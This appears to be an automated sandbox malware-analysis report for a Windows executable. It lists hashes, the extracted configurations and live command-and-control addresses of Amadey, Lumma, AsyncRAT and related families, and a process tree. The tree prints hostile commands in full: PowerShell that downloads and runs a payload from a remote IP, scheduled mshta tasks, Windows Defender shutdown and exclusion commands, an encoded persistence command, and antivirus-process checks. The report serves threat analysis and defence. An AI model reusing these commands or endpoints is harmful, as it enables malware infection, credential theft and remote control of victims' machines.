Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/03/2025, 04:43

General

  • Target

    853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe

  • Size

    938KB

  • MD5

    23abb2c0ef0f3dc30270a9afd6b27530

  • SHA1

    aa4fd27820b03a511ebac7b3ee05a95dce3c2c52

  • SHA256

    853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373

  • SHA512

    2f194dea83725bf08837c0ac938efaf015a079f7c59f90e770efec2553f75e2e2cedf899575e5b9194a7b99378177194302cbb2acc9f80557dce5eace5216b8d

  • SSDEEP

    24576:5qDEvCTbMWu7rQYlBQcBiT6rprG8a0Xu:5TvC/MTQYxsWR7a0X

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://begindecafer.world/api

https://garagedrootz.top/api

https://modelshiverd.icu/api

https://arisechairedd.shop/api

https://catterjur.run/api

https://dorangemyther.live/api

https://fostinjec.today/api

https://sterpickced.digital/api

https://biochextryhub.bet/api

https://q8explorebieology.run/api

https://gadgethgfub.icu/api

https://moderzysics.top/api

https://5ktechmindzs.live/api

https://6codxefusion.top/api

https://7phygcsforum.life/api

https://techspherxe.top/api

https://earthsymphzony.today/api

Extracted

Family

asyncrat

Version

| Controller

Botnet

Default

C2

20.206.204.9:4449

Mutex

ammmjprqjnqswrieh

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

lumma

C2

https://moderzysics.top/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 1 IoCs
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 2 IoCs
  • Stormkitty family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • VenomRAT 3 IoCs

    Detects VenomRAT.

  • Venomrat family
  • Async RAT payload 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 21 IoCs
  • Checks BIOS information in registry 2 TTPs 16 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 12 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 44 IoCs
  • Identifies Wine through registry keys 2 TTPs 8 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 23 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 9 IoCs
  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:680
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
        2⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        PID:9956
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" qc windefend
          3⤵
          • Launches sc.exe
          PID:11064
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
          3⤵
            PID:11180
          • C:\Windows\system32\whoami.exe
            "C:\Windows\system32\whoami.exe" /groups
            3⤵
              PID:11476
            • C:\Windows\system32\net1.exe
              "C:\Windows\system32\net1.exe" stop windefend
              3⤵
                PID:11548
              • C:\Windows\system32\sc.exe
                "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                3⤵
                • Launches sc.exe
                PID:11664
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
              2⤵
              • Modifies Windows Defender DisableAntiSpyware settings
              • Modifies Windows Defender Real-time Protection settings
              • Command and Scripting Interpreter: PowerShell
              • Modifies data under HKEY_USERS
              PID:10112
              • C:\Windows\system32\sc.exe
                "C:\Windows\system32\sc.exe" qc windefend
                3⤵
                • Launches sc.exe
                PID:11008
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                3⤵
                  PID:11128
                • C:\Windows\system32\whoami.exe
                  "C:\Windows\system32\whoami.exe" /groups
                  3⤵
                    PID:11436
                  • C:\Windows\system32\net1.exe
                    "C:\Windows\system32\net1.exe" stop windefend
                    3⤵
                      PID:11528
                    • C:\Windows\system32\sc.exe
                      "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                      3⤵
                      • Launches sc.exe
                      PID:4500
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
                    2⤵
                    • Modifies Windows Defender DisableAntiSpyware settings
                    • Command and Scripting Interpreter: PowerShell
                    • Modifies data under HKEY_USERS
                    PID:10372
                    • C:\Windows\system32\sc.exe
                      "C:\Windows\system32\sc.exe" qc windefend
                      3⤵
                      • Launches sc.exe
                      PID:2396
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                      3⤵
                        PID:11328
                      • C:\Windows\system32\whoami.exe
                        "C:\Windows\system32\whoami.exe" /groups
                        3⤵
                          PID:11608
                        • C:\Windows\system32\net1.exe
                          "C:\Windows\system32\net1.exe" stop windefend
                          3⤵
                            PID:11680
                          • C:\Windows\system32\sc.exe
                            "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                            3⤵
                            • Launches sc.exe
                            PID:11784
                      • C:\Windows\Explorer.EXE
                        C:\Windows\Explorer.EXE
                        1⤵
                          PID:3460
                          • C:\Users\Admin\AppData\Local\Temp\853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe
                            "C:\Users\Admin\AppData\Local\Temp\853f95bab9db7017804bee01b1d328370a48c803a3247d761fdda987dd654373.exe"
                            2⤵
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SendNotifyMessage
                            • Suspicious use of WriteProcessMemory
                            PID:516
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c schtasks /create /tn Gm33FmaqXss /tr "mshta C:\Users\Admin\AppData\Local\Temp\9deJ47dg1.hta" /sc minute /mo 25 /ru "Admin" /f
                              3⤵
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of WriteProcessMemory
                              PID:2108
                              • C:\Windows\SysWOW64\schtasks.exe
                                schtasks /create /tn Gm33FmaqXss /tr "mshta C:\Users\Admin\AppData\Local\Temp\9deJ47dg1.hta" /sc minute /mo 25 /ru "Admin" /f
                                4⤵
                                • System Location Discovery: System Language Discovery
                                • Scheduled Task/Job: Scheduled Task
                                PID:5712
                            • C:\Windows\SysWOW64\mshta.exe
                              mshta C:\Users\Admin\AppData\Local\Temp\9deJ47dg1.hta
                              3⤵
                              • Checks computer location settings
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of WriteProcessMemory
                              PID:4988
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'GYPZVOSSEJNVINDR57JARJ63OJEXIJ86.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                4⤵
                                • Blocklisted process makes network request
                                • Command and Scripting Interpreter: PowerShell
                                • Downloads MZ/PE file
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:1804
                                • C:\Users\Admin\AppData\Local\TempGYPZVOSSEJNVINDR57JARJ63OJEXIJ86.EXE
                                  "C:\Users\Admin\AppData\Local\TempGYPZVOSSEJNVINDR57JARJ63OJEXIJ86.EXE"
                                  5⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Drops file in Windows directory
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of WriteProcessMemory
                                  PID:4676
                                  • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                    "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
                                    6⤵
                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                    • Downloads MZ/PE file
                                    • Checks BIOS information in registry
                                    • Checks computer location settings
                                    • Executes dropped EXE
                                    • Identifies Wine through registry keys
                                    • Adds Run key to start application
                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:3596
                                    • C:\Users\Admin\AppData\Local\Temp\10205910101\2af4a002ad.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10205910101\2af4a002ad.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      • Suspicious use of WriteProcessMemory
                                      PID:2480
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c schtasks /create /tn 4jYPemaEqnr /tr "mshta C:\Users\Admin\AppData\Local\Temp\wzqo7paNC.hta" /sc minute /mo 25 /ru "Admin" /f
                                        8⤵
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of WriteProcessMemory
                                        PID:5544
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /create /tn 4jYPemaEqnr /tr "mshta C:\Users\Admin\AppData\Local\Temp\wzqo7paNC.hta" /sc minute /mo 25 /ru "Admin" /f
                                          9⤵
                                          • Scheduled Task/Job: Scheduled Task
                                          PID:1188
                                      • C:\Windows\SysWOW64\mshta.exe
                                        mshta C:\Users\Admin\AppData\Local\Temp\wzqo7paNC.hta
                                        8⤵
                                        • Checks computer location settings
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of WriteProcessMemory
                                        PID:652
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'0GPCTYRPMJH9KQSH8XBLB6P1DNIGPK6E.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                          9⤵
                                          • Blocklisted process makes network request
                                          • Command and Scripting Interpreter: PowerShell
                                          • Downloads MZ/PE file
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of WriteProcessMemory
                                          PID:1928
                                          • C:\Users\Admin\AppData\Local\Temp0GPCTYRPMJH9KQSH8XBLB6P1DNIGPK6E.EXE
                                            "C:\Users\Admin\AppData\Local\Temp0GPCTYRPMJH9KQSH8XBLB6P1DNIGPK6E.EXE"
                                            10⤵
                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                            • Checks BIOS information in registry
                                            • Executes dropped EXE
                                            • Identifies Wine through registry keys
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:2856
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10205920121\am_no.cmd" "
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of WriteProcessMemory
                                      PID:6136
                                      • C:\Windows\SysWOW64\timeout.exe
                                        timeout /t 2
                                        8⤵
                                        • System Location Discovery: System Language Discovery
                                        • Delays execution with timeout.exe
                                        PID:5688
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                        8⤵
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of WriteProcessMemory
                                        PID:3608
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                          9⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1404
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                        8⤵
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of WriteProcessMemory
                                        PID:3440
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                          9⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3876
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                        8⤵
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of WriteProcessMemory
                                        PID:2376
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                          9⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3308
                                      • C:\Windows\SysWOW64\schtasks.exe
                                        schtasks /create /tn "eYWh6maWFoE" /tr "mshta \"C:\Temp\rn351DwMk.hta\"" /sc minute /mo 25 /ru "Admin" /f
                                        8⤵
                                        • System Location Discovery: System Language Discovery
                                        • Scheduled Task/Job: Scheduled Task
                                        PID:4276
                                      • C:\Windows\SysWOW64\mshta.exe
                                        mshta "C:\Temp\rn351DwMk.hta"
                                        8⤵
                                        • Checks computer location settings
                                        • System Location Discovery: System Language Discovery
                                        PID:6044
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                          9⤵
                                          • Blocklisted process makes network request
                                          • Command and Scripting Interpreter: PowerShell
                                          • Downloads MZ/PE file
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:5096
                                          • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                                            "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                                            10⤵
                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                            • Checks BIOS information in registry
                                            • Executes dropped EXE
                                            • Identifies Wine through registry keys
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:3732
                                    • C:\Users\Admin\AppData\Local\Temp\10206330101\XW3ITet.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10206330101\XW3ITet.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of WriteProcessMemory
                                      PID:752
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBzAHkAcwB0AGUAbQB2AGUAbgAuAGUAeABlACcAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcwB5AHMAdABlAG0AdgBlAG4ALgBlAHgAZQAnACkAIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAoAEcAZQB0AC0ARABhAHQAZQApACAALQBSAGUAcABlAHQAaQB0AGkAbwBuAEkAbgB0AGUAcgB2AGEAbAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAE0AaQBuAHUAdABlAHMAIAA1ACkAKQAgAC0AVQBzAGUAcgAgACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBTAGUAYwBvAG4AZABzACAAMAApACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwApACAALQBGAG8AcgBjAGUA
                                        8⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1376
                                    • C:\Users\Admin\AppData\Local\Temp\10206660101\gtjFHJI.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10206660101\gtjFHJI.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:2616
                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                        8⤵
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:5328
                                    • C:\Users\Admin\AppData\Local\Temp\10206670101\Go7yA2t.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10206670101\Go7yA2t.exe"
                                      7⤵
                                      • Checks computer location settings
                                      • Executes dropped EXE
                                      PID:4576
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -WindowStyle Hidden -Command "Expand-Archive -Force \"C:\Users\Admin\AppData\Local\Temp\updater101\h2wb5_002.zip\" \"C:\Users\Admin\AppData\Local\Temp\updater101\h2wb5_002\""
                                        8⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4708
                                      • C:\Users\Admin\AppData\Local\Temp\updater101\h2wb5_002\h2wb5_002.exe
                                        "C:\Users\Admin\AppData\Local\Temp\updater101\h2wb5_002\h2wb5_002.exe"
                                        8⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: MapViewOfSection
                                        PID:1916
                                        • C:\Windows\SYSTEM32\cmd.exe
                                          cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                          9⤵
                                            PID:564
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                              10⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:2444
                                          • C:\Windows\system32\svchost.exe
                                            "C:\Windows\system32\svchost.exe"
                                            9⤵
                                            • Downloads MZ/PE file
                                            • Adds Run key to start application
                                            PID:3852
                                            • C:\ProgramData\{5A4A035D-A4F9-454A-85ED-D5727334CF26}\dbs.exe
                                              "C:\ProgramData\{5A4A035D-A4F9-454A-85ED-D5727334CF26}\dbs.exe" ""
                                              10⤵
                                              • Executes dropped EXE
                                              PID:456
                                            • C:\Users\Admin\AppData\Local\Temp\{6A4A035D-A4F9-454A-85ED-D5727334CF36}\dbs.exe
                                              "C:\Users\Admin\AppData\Local\Temp\\{6A4A035D-A4F9-454A-85ED-D5727334CF36}\dbs.exe" "{5A4A035D-A4F9-454A-85ED-D5727334CF26}"
                                              10⤵
                                              • Executes dropped EXE
                                              PID:2028
                                      • C:\Users\Admin\AppData\Local\Temp\10206680101\9CQknW9.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10206680101\9CQknW9.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:2204
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 224
                                          8⤵
                                          • Program crash
                                          PID:4052
                                      • C:\Users\Admin\AppData\Local\Temp\10206690101\HmngBpR.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10206690101\HmngBpR.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of SetWindowsHookEx
                                        PID:12908
                                        • C:\Users\Admin\AppData\Local\Temp\archivebrowser_GD\SplashWin.exe
                                          C:\Users\Admin\AppData\Local\Temp\archivebrowser_GD\SplashWin.exe
                                          8⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:13032
                                          • C:\Users\Admin\AppData\Roaming\archivebrowser_GD\SplashWin.exe
                                            C:\Users\Admin\AppData\Roaming\archivebrowser_GD\SplashWin.exe
                                            9⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            • Suspicious use of SetThreadContext
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious behavior: MapViewOfSection
                                            PID:13144
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\SysWOW64\cmd.exe
                                              10⤵
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious behavior: MapViewOfSection
                                              PID:13240
                                              • C:\Windows\SysWOW64\explorer.exe
                                                C:\Windows\SysWOW64\explorer.exe
                                                11⤵
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious behavior: AddClipboardFormatListener
                                                • Suspicious behavior: GetForegroundWindowSpam
                                                • Suspicious use of SetWindowsHookEx
                                                PID:9480
                                      • C:\Users\Admin\AppData\Local\Temp\10206700101\zY9sqWs.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10206700101\zY9sqWs.exe"
                                        7⤵
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • Drops file in Windows directory
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of FindShellTrayWindow
                                        PID:4024
                                        • C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                          "C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe"
                                          8⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:1724
                                      • C:\Users\Admin\AppData\Local\Temp\10206710101\ADFoyxP.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10206710101\ADFoyxP.exe"
                                        7⤵
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • Drops file in Windows directory
                                        • System Location Discovery: System Language Discovery
                                        PID:3948
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /c expand Go.pub Go.pub.bat & Go.pub.bat
                                          8⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:6044
                                          • C:\Windows\SysWOW64\expand.exe
                                            expand Go.pub Go.pub.bat
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:4232
                                          • C:\Windows\SysWOW64\tasklist.exe
                                            tasklist
                                            9⤵
                                            • Enumerates processes with tasklist
                                            • System Location Discovery: System Language Discovery
                                            PID:3504
                                          • C:\Windows\SysWOW64\findstr.exe
                                            findstr /I "opssvc wrsa"
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:5784
                                          • C:\Windows\SysWOW64\tasklist.exe
                                            tasklist
                                            9⤵
                                            • Enumerates processes with tasklist
                                            • System Location Discovery: System Language Discovery
                                            PID:6208
                                          • C:\Windows\SysWOW64\findstr.exe
                                            findstr "bdservicehost AvastUI AVGUI nsWscSvc ekrn SophosHealth"
                                            9⤵
